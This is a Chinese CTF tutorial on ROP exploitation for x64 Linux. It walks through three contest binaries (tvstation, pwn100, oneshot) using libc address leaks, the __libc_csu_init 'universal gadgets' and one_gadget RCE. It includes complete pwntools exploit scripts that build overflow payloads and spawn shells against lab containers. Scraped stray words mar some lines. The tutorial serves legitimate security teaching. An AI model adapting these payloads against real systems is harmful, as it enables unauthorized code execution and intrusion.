CTF必備技能丨Linux Pwn入門教程——ROP技術(下)

Linux Pwn入門教程系列分享如約而至,本套課程是做者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。html

教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,全部環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有註釋的python腳本。python

課程回顧>>shell

Linux Pwn入門教程第一章:環境配置函數

Linux Pwn入門教程第二章:棧溢出基礎工具

Linux Pwn入門教程第三章:ShellCodedebug

Linux Pwn入門教程——ROP技術(上)3d

 

教程中的題目和腳本如有使用不妥之處,歡迎各位大佬批評指正。調試

從給定的libc中尋找gadgetcode

有時候pwn題目也會提供一個pwn環境裏對應版本的libc。在這種狀況下,咱們就能夠經過泄露出某個在libc中的內容在內存中的實際地址,經過計算偏移來獲取system和「/bin/sh」的地址並調用。htm

這一節的例子是~/Security Fest CTF 2016-tvstation/tvstation。這是一個比較簡單的題目,題目中除了顯示出來的三個選項以外還有一個隱藏的選項4,選項4會直接打印出system函數在內存中的首地址:

 

 從IDA中咱們能夠看到打印完地址後執行了函數debug_func( ),進入函數debug_func( )以後咱們發現了溢出點。

 

 

因爲這個題目給了libc,且咱們已經泄露出了system的內存地址。使用命令readelf -a 查看libc.so.6_x64。

 

從這張圖上咱們能夠看出來.text節(Section)屬於第一個LOAD段(Segment),這個段的文件長度和內存長度是同樣的,也就是說全部的代碼都是原樣映射到內存中,代碼之間的相對偏移是不會改變的。

因爲前面的PHDR, INTERP兩個段也是原樣映射,因此在IDA裏看到的system首地址距離文件頭的地址偏移和運行時的偏移是同樣的。如:在這個libc中system函數首地址是0x456a0,即從文件的開頭數0x456a0個字節到達system函數。

 

 

 調試程序,發現system在內存中的地址是0x7fb5c8c266a0。

 

0x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000‬

根據這個事實,咱們就能夠經過泄露出來的libc中的函數地址獲取libc在內存中加載的首地址,從而以此跳轉到其餘函數的首地址並執行。

在libc中存在字符串「/bin/sh」,該字符串位於.data節,根據一樣的原理咱們也能夠得知這個字符串距libc首地址的偏移。

 

還有用來傳參的gadget :pop rdi; ret

 

據此咱們能夠構建腳本以下:

#!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote('172.17.0.2', 10001)
io.recvuntil(": ")
io.sendline('4') #跳轉到隱藏選項
io.recvuntil("@0x")
system_addr = int(io.recv(12), 16) #讀取輸出的system函數在內存中的地址
libc_start = system_addr - 0x456a0 #根據偏移計算libc在內存中的首地址
pop_rdi_addr = libc_start + 0x1fd7a #pop rdi; ret 在內存中的地址,給system函數傳參
binsh_addr = libc_start + 0x18ac40 #"/bin/sh"字符串在內存中的地址
payload = ""
payload += 'A'*40 #padding
payload += p64(pop_rdi_addr) #pop rdi; ret
payload += p64(binsh_addr) #system函數參數
payload += p64(system_addr) #調用system()執行system("/bin/sh")
io.sendline(payload)
io.interactive()

 

一些特殊的gadgets

這一節主要介紹兩個特殊的gadgets。第一個gadget常常被稱做通用gadgets,一般位於x64的ELF程序中的__libc_csu_init中,以下圖所示:

 

 

這張圖片裏包含了兩個gadget,分別是:

 

咱們知道在x64的ELF程序中向函數傳參,一般順序是rdi, rsi, rdx, rcx, r8, r9, 棧,以上三段gadgets中,第一段能夠設置r12-r15,接上第三段使用已經設置的寄存器設置rdi, 接上第二段設置rsi, rdx, rbx,最後利用r12+rbx*8能夠call任意一個地址。

在找gadgets出現困難時,能夠利用這個gadgets快速構造ROP鏈。須要注意的是,用萬能gadgets的時候須要設置rbp=1,由於call qword ptr [r12+rbx*8]以後是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。因爲咱們一般使rbx=0,從而使r12+rbx*8 = r12,因此call指令結束後rbx必然會變成1。若此時rbp != 1,jnz會再次進行call,從而可能引發段錯誤。那麼這段gadgets怎麼用呢?

咱們來看一下例子~/LCTF 2016-pwn100/pwn100,這個例子提供了libc,溢出點很明顯,位於0x40063d。

咱們須要作的就是泄露一個got表中函數的地址,而後計算偏移調用system。前面的代碼很簡單,咱們就不作介紹了。

#!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")
puts_addr = elf.plt['puts']
read_got = elf.got['read']
start_addr = 0x400550
pop_rdi = 0x400763
universal_gadget1 = 0x40075a #萬能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
universal_gadget2 = 0x400740 #萬能gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
binsh_addr = 0x60107c #bss放了STDIN和STDOUT的FILE結構體,修改會致使程序崩潰
payload = "A"*72 #padding
payload += p64(pop_rdi) #
payload += p64(read_got)
payload += p64(puts_addr)
payload += p64(start_addr) #跳轉到start,恢復棧
payload = payload.ljust(200, "B") #padding
io.send(payload)
io.recvuntil('bye~\n')
read_addr = u64(io.recv()[:-1].ljust(8, '\x00'))
log.info("read_addr = %#x", read_addr)
system_addr = read_addr - 0xb31e0
log.info("system_addr = %#x", system_addr)

爲了演示萬能gadgets的使用,咱們選擇再次經過調用read函數讀取/bin/sh\x00字符串,而不是直接使用偏移,首先咱們根據萬能gadgets佈置好棧。

payload = "A"*72 #padding
payload += p64(universal_gadget1) #萬能gadget1
payload += p64(0) #rbx = 0
payload += p64(1) #rbp = 1,過掉後面萬能gadget2的call返回後的判斷
payload += p64(read_got) #r12 = got表中read函數項,裏面是read函數的真正地址,直接經過call調用
payload += p64(8) #r13 = 8,read函數讀取的字節數,萬能gadget2賦值給rdx
payload += p64(binsh_addr) #r14 = read函數讀取/bin/sh保存的地址,萬能gadget2賦值給rsi
payload += p64(0) #r15 = 0,read函數的參數fd,即STDIN,萬能gadget2賦值給edi
payload += p64(universal_gadget2) #萬能gadget2

咱們是否是應該直接在payload後面接上返回地址呢?不,咱們回頭看一下universal_gadget2的執行流程:

 

因爲咱們的構造,上面的那塊代碼只會執行一次,而後流程就將跳轉到下面的loc_400756,這一系列操做將會擡升8*7共56字節的棧空間,所以咱們還須要提供56個字節的垃圾數據進行填充,而後再拼接上retn要跳轉的地址。

payload += '\x00'*56 #萬能gadget2後接判斷語句,過掉以後是萬能gadget1,用於填充棧
payload += p64(start_addr) #跳轉到start,恢復棧
payload = payload.ljust(200, "B") #padding
接下來就是常規操做getshell
io.send(payload)
io.recvuntil('bye~\n')
io.send("/bin/sh\x00") #上面的一段payload調用了read函數讀取"/bin/sh\x00",這裏發送字符串
payload = "A"*72 #padding
payload += p64(pop_rdi) #給system函數傳參
payload += p64(binsh_addr) #rdi = &("/bin/sh\x00")
payload += p64(system_addr) #調用system函數執行system("/bin/sh")
payload = payload.ljust(200, "B") #padding
io.send(payload)
io.interactive()

咱們介紹的第二個gadget一般被稱爲one gadget RCE,顧名思義,經過一個gadget遠程執行代碼,即getshell。咱們經過例子~/TJCTF 2016-oneshot/oneshot演示一下這個gadget的威力。

要利用這個gadget,咱們須要一個對應環境的libc和一個工具one_gadget。

 

從紅框中的代碼咱們看到地址rbp+var_8被做爲__isoc99_scanf的第二個參數賦值給rsi,即輸入被保存在這裏。隨後rbp+var_8中的內容被賦值給rax,又被賦值給rdx,最後經過call rdx執行。也就是說咱們輸入一個數字,這個數字會被當成地址使用call調用。因爲只能控制4字節,咱們就須要用到one gadget RCE來一步getshell。咱們經過one_gadget找到一些gadget:

 咱們看到這些gadget有約束條件。咱們選擇第一條,要求rax=0。咱們構建腳本進行調試:

#!/usr/bin/python
#coding:utf-8
from pwn import *
one_gadget_rce = 0x45526
#one_gadget libc.so.6_x64
#0x45526 execve("/bin/sh", rsp+0x30, environ)
#constraints:
# rax == NULL
setbuf_addr = 0x77f50 
setbuf_got = 0x600ae0
io = remote("172.17.0.2", 10001)
io.sendline(str(setbuf_got))
io.recvuntil("Value: ")
setbuf_memory_addr = int(io.recv()[:18], 16) #經過打印got表中setbuf項的內容泄露setbuf在內存中的首地址
io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce))) #經過偏移計算one_gadget_rce在內存中的地址
io.interactive()

執行到call rdx時rax = 0

 

getshell成功

 

以上是今天的內容,你們看懂了嗎?後面咱們將持續更新Linux Pwn入門教程的相關章節,但願你們及時關注。

相關文章
相關標籤/搜索